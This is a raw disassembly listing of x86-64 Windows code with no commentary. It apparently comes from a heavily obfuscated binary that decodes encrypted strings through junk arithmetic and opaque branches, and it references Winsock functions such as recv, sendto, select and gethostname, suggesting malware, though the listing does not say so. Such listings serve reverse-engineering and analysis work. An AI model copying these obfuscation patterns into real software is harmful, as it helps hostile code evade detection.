lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140048d00
movzx r9d, r11b
lea edx, [r9 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x70
jmp 0x140048ffa
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048d2e
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140048643
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048b27
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140048643
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048d8c
movzx r9d, r11b
lea edx, [r9 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140048faf
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048db7
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x24
dec r11
inc r11
jmp 0x140048643
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048ae5
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048e29
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048e51
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14004908c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048e76
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x14004905a
cmp rbx, rcx
jne 0x140048e9b
movzx r9d, r11b
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
jmp 0x140048ffa
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140048ec9
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
dec r11
inc r11
jmp 0x140048643
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140048aa1
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140048faf
movzx r9d, r11b
lea edx, [r9 + 0x20]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 - 0x60]
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
jmp 0x140048ffa
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004908c
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x74
add rbx, r8
jmp 0x14004905a
movzx r9d, r11b
lea edx, [r9 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5c
jmp 0x140048ffa
lea ecx, [r11 - 0x64]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x44
dec r11
inc r11
jmp 0x140048643
movzx r9d, r11b
lea edx, [r9 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
add dil, dl
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x60], cl
inc r8
dec r11
inc r11
jmp 0x140048643
movzx r9d, r11b
lea edx, [r9 - 0x7c]
mov ecx, 0x32
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x60], cl
add rbx, r8
jmp 0x14004905a
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x14004905a
lea rcx, [r11 + 0xac734]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x6c
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140048643
lea rax, [r11 + 0x8620c]
movzx r10d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x54
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x60], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x10
add cl, r10b
mov byte [rbp + r11 - 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea rcx, [r11 + 0x397bc]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x24
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x3c
jmp 0x140048640
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x24
jmp 0x140048630
lea rdx, [rbp + 0x14dfb10]
jmp 0x140049169
lea rdx, [rbp + 0x10f2da4]
jmp 0x140049169
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1b0]
call fcn.140043270
mov r14, rax
mov dword [rbp + 0x90], 0xe4e2ebeb
mov word [rbp + 0x94], 0xd6dd
mov byte [rbp + 0x96], 0xe6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x97], xmm0
mov dword [rbp + 0xa7], eax
mov word [rbp + 0xab], ax
movabs r15, 0x4e09c042f6a7609c
movabs r13, 0x224441d4be93a444
movabs r12, 0xea1d40c8e3f621d4
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x140049da0
movzx r10d, byte [rbp + r11 + 0x90]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x140049d97
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004922c
lea rcx, [r11 + r15]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x44
jmp 0x140049273
je 0x140049d20
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049c92
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049c5c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049c1b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049bf6
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140049baf
cmp r8, r11
ja 0x140049d8e
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x1400492a1
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400492f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140049b8f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049b6d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049b51
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049b32
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140049b13
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140049ae5
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140049805
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400497e6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400497be
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004979d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004977a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004975f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049740
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140049725
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140049706
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140049300
lea rbx, [r8 + 0x28]
lea r8, [rbx + 8]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140049d6e
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140049d51
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400494d6
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400494bb
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14004949c
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400496bd
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140049678
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140049633
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004960d
lea rbx, [r8 + 0x20]
lea r8, [rbx + 6]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400495e0
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400495c1
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400495a6
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140049587
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140049569
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004954a
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004953c
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140049518
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400494f5
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140049300
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x42]
jmp 0x140049300
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400492f0
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140049273
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400491f6
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140049bc9
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
inc r8
dec r11
inc r11
jmp 0x1400491e3
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x140049bff
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
movzx r9d, r11b
jmp 0x140049c35
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140049c76
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049c79
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140049cae
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049cd9
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
mov byte [rbp + r11 + 0x90], dil
inc r11
jmp 0x1400491e3
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x80
jb 0x140049623
movzx r9d, r11b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x30]
jmp 0x140049bc9
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x200
jae 0x140049a9b
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x1400499b8
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
jmp 0x140049642
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x140049ac2
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140049901
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140049692
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049cd9
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140049cae
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049c79
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140049c76
movzx r9d, r11b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049c35
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
dec r11
inc r11
jmp 0x1400491e3
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400491e3
movzx r9d, r11b
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140049bc9
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140049829
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x1400496d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004985f
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049887
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049cd9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400498ab
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140049c76
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400498d5
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
dec r11
inc r11
jmp 0x1400491e3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400496d3
movzx r9d, r11b
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140049bc9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004992d
movzx r9d, r11b
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049bc9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049944
lea edx, [r11 - 0x2c]
mov ecx, 0x1a
jmp 0x140049bff
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140049968
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x140049c79
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049990
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049cae
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140049692
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x140049cd9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400499ee
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049a16
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049cd9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140049a3e
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049c79
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140049a6a
movzx r9d, r11b
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049c35
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004964d
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
dec r11
inc r11
jmp 0x1400491e3
movzx r9d, r11b
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x90]
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140049c35
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x90]
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140049cae
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x140049cae
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140049c79
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3c
jmp 0x140049c76
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2c
dec r11
inc r11
jmp 0x1400491e3
movzx r9d, r11b
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x140049bc9
movzx r9d, r11b
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
inc r8
dec r11
inc r11
jmp 0x1400491e3
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400491e3
movzx r9d, r11b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, select
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x90], cl
jmp 0x140049c76
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400491e3
lea rcx, [r11 + r13]
movzx r10d, r9b
and r9b, cl
mov eax, reloc.WS2_32.dll_select
sub al, r9b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6c
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x90], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x90], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
lea rdx, [r11 + r12]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x1400491e3
add r11b, 0xc
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x54
jmp 0x1400491e0
sub r11b, 0x2c
movzx eax, r11b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x1400491d0
lea rdx, [rbp + 0x174e960]
jmp 0x140049da7
lea rdx, [rbp + 0x9c49fc]
jmp 0x140049da7
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1d0]
call fcn.140043270
nop
mov rdx, r14
mov rcx, rax
call fcn.140044d70
mov dword [rsp + 0x60], 0x36263e59
mov dword [rsp + 0x64], 0x3a64243c
mov dword [rsp + 0x68], 0x5b72382c
mov dword [rsp + 0x6c], 0x32292223
mov dword [rsp + 0x70], 0x22256f30
mov dword [rsp + 0x74], 0xcab17927
mov dword [rsp + 0x78], 0xd7cfd7da
mov dword [rsp + 0x7c], 0xd2c2d2b5
mov dword [rbp - 0x80], 0x99d5c0d8
mov dword [rbp - 0x7c], 0x77c9d0d7
xor eax, eax
mov qword [rbp - 0x78], rax
mov dword [rbp - 0x70], eax
mov word [rbp - 0x6c], ax
movabs r14, 0xf82bc618da6701ea
movabs r15, 0xb989f6dfad9f113a
movabs r13, 0xc9326aadf8d10d66
movabs r12, 0xe883524a8f3505be
movzx edi, byte [rsp + 0x20]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x36
jae 0x14004a952
movzx r10d, byte [rsp + r11 + 0x60]
mov r9, r10
cmp rbx, r11
ja 0x14004a949
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140049ea2
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x66
jmp 0x140049ee0
je 0x14004a8d8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a856
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a823
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a7e2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004a79a
nop dword [rax]
cmp r8, r11
ja 0x14004a940
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140049f0a
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140049f50
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004a77e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004a760
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004a745
cmp rbx, rcx
je 0x14004a726
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a6f8
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004a498
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004a486
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a45e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004a43d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004a41e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004a400
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004a3e1
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004a3c2
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004a3a7
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14004a37d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140049f60
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004a923
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004a903
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14004a14b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004a12c
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14004a111
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004a334
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004a2f2
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004a2b0
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14004a289
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140049f60
lea rbx, [r8 + 0x41]
lea r8, [rbx + 6]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004a25b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004a240
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004a225
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14004a206
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004a1e4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14004a1c1
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004a1a0
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004a17c
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004a16a
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140049f60
lea rbx, [r8 + 8]
lea r8, [rbx + 0x64]
jmp 0x140049f60
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140049f50
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049ee0
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049e73
lea edx, [r11 - 0x70]
